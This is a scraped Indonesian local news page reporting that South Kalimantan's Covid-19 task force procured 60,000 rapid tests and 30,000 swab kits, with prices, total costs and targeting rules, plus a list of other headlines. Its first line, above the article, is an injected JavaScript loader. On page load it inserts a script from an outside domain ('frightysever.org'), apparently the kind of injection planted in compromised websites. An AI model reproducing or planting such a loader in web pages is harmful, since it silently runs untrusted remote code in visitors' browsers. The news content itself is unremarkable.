(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Gencarkan Rapid Test, 60 Ribu Alat RDT Didatangkan Tim Gugus Tugas P2 Covid-19 Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Guna menangkal penyebaran Covid-19, Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalimantan Selatan mendatangkan alat rapid diagnostic test (RDT) sebanyak 60 ribu pcs.

Wakil Ketua Harian Tim Gugus Tugas P2 Covid-19 Kalsel Hanif Faisol Nurofiq menyebut, 60 ribu pcs RDT ini telah didatangkan ke Kalsel. Fokusnya, yaitu orang-orang yang memiliki kontak erat dengan pasien positif Covid-19 “Pertama, harus dengan kontak erat. Kemudian, (untuk) deteksi akurat. Jadi mana yang akurat itu yang kita support rapid test,” tutur Hanif di Banjarmasin, Kamis (28/5/2020) pagi.

Tujuannya tidak lain untuk membantu Tim Surveilans Epidemiologi di kabupaten dan kota. Nantinya, jika ada warga yang dinyatakan reaktif hasil rapid test maka langsung menjalani swab.

Namun demikian, Hanif mengatakan, penggunaannya sendiri tidak akan dilakukan secara random. Misalnya dengan rapid test massal, di mana sebelum menjalani rapid test harus dicek suhu tubuhnya dengan menggunakan thermometer gun. “Jika suhunya 38 derajat Celcius berarti siap di-rapid test. Tetapi kalau acak seperti kemarin kita tidak diperbolehkan lagi karena harganya cukup mahal,” ucapnya.

Di samping itu, harus ada pertanggungjawaban penggunaan rapid test ini, terutama dalam rencana penggunaan. Selama ini, hanya dibagikan saja ke kabupaten dan kota, yang pada perkembangannya hasil laporannya tidak sesuai.

“Kita bukannya bangga, tetapi ada kesalahan pendugaan. Sehingga yang tadinya bisa mengefektifkan tembakan kita kepada yang sakit, malah luput. Yang sehat malah di-test, sementara satu kali test itu memakan biaya Rp300 ribu,” jelasnya.

Sedangkan untuk alat swab, Hanif menyebut sebanyak 30 ribu alat telah dipesan dan didatangkan. Sehingga, dapat dipergunakan kapanpun jika diperlukan.

Berapa dana yang dihabiskan untuk mendatangkan rapid test? “Kalau rata-rata (harga) rapid test sekitar Rp300 ribu dikalikan saja Rp 60 ribu buah,” kata Hanif.

Sedangkan untuk alat swab, di mana harga satuannya sebesar Rp100 ribu dikalikan sebanyak 30 ribu buah. Sehingga, jika ditotal masing-masing menelan biaya sebesar Rp18 miliar untuk rapid test dan Rp3 miliar untuk alat swab. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

PKS Banjarbaru Buka Penjaringan, Siap Koalisi Tawarkan Kader Sendiri

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pimpinan Darah Partai Keadilan Sejahtera (PKS) Kota Banjarbaru membuka pendaftaran bakal… Read More

40 menit ago

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

14 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

15 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

15 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

19 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

21 jam ago

This website uses cookies.